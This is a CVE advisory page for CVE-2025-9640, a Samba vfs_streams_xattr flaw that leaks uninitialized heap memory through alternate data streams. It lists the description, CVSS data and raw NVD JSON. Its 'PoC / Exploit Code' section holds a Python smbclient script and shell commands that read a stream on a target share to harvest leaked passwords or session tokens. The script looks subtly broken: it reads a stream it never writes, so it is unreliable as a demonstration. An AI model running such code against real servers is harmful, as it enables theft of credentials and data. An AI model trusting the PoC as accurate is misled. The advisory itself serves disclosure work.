Security Vulnerability Report
中文
CVE-2025-9640 CVSS 4.3 MEDIUM

CVE-2025-9640

Published: 2025-10-15 13:16:02
Last Modified: 2026-04-15 00:35:42

Description

A flaw was found in Samba, in the vfs_streams_xattr module, where uninitialized heap memory could be written into alternate data streams. This allows an authenticated user to read residual memory content that may include sensitive data, resulting in an information disclosure vulnerability.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Samba(具体受影响版本请参考Samba官方安全公告)
使用vfs_streams_xattr模块的所有Samba版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-9640 PoC - Samba vfs_streams_xattr Information Disclosure # This PoC demonstrates reading uninitialized heap memory through alternate data streams import smbclient import os import tempfile # Step 1: Configure SMB connection with valid low-privilege credentials smbclient.ClientConfig(username='low_priv_user', password='password123') # Step 2: Connect to the target Samba share share_path = r'\\target_samba_server\shared_folder' # Step 3: Create a file and trigger ADS write with uninitialized heap memory test_file = os.path.join(share_path, 'test_file.txt') # Write minimal data to the main stream with smbclient.open_file(test_file, mode='w') as f: f.write('x') # Step 4: Access the alternate data stream which may contain uninitialized heap data # The ADS name format is filename:streamname ads_path = test_file + ':secret_stream' # Step 5: Read the alternate data stream to extract residual heap memory try: with smbclient.open_file(ads_path, mode='r') as f: leaked_data = f.read() print(f"[*] Leaked data from ADS (hex): {leaked_data.hex()}") print(f"[*] Leaked data length: {len(leaked_data)} bytes") # Analyze leaked content for sensitive patterns if b'password' in leaked_data.lower(): print("[!] Potential credential leak detected!") if b'session' in leaked_data.lower(): print("[!] Potential session token leak detected!") except Exception as e: print(f"[-] Error accessing ADS: {e}") # Alternative: Use smbclient command line tool # smbclient //target_samba_server/shared_folder -U low_priv_user%password123 # > get test_file.txt:secret_stream leaked_data.bin # > exit # xxd leaked_data.bin | head -50

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9640", "sourceIdentifier": "[email protected]", "published": "2025-10-15T13:16:01.997", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Samba, in the vfs_streams_xattr module, where uninitialized heap memory could be written into alternate data streams. This allows an authenticated user to read residual memory content that may include sensitive data, resulting in an information disclosure vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-908"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-908"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2025-9640", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2391698", "source": "[email protected]"}, {"url": "https://www.samba.org/samba/history/security.html", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/15/2", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/16/2", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "https://lists.debian.org/debian-lts-announce/2025/11/msg00027.html", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}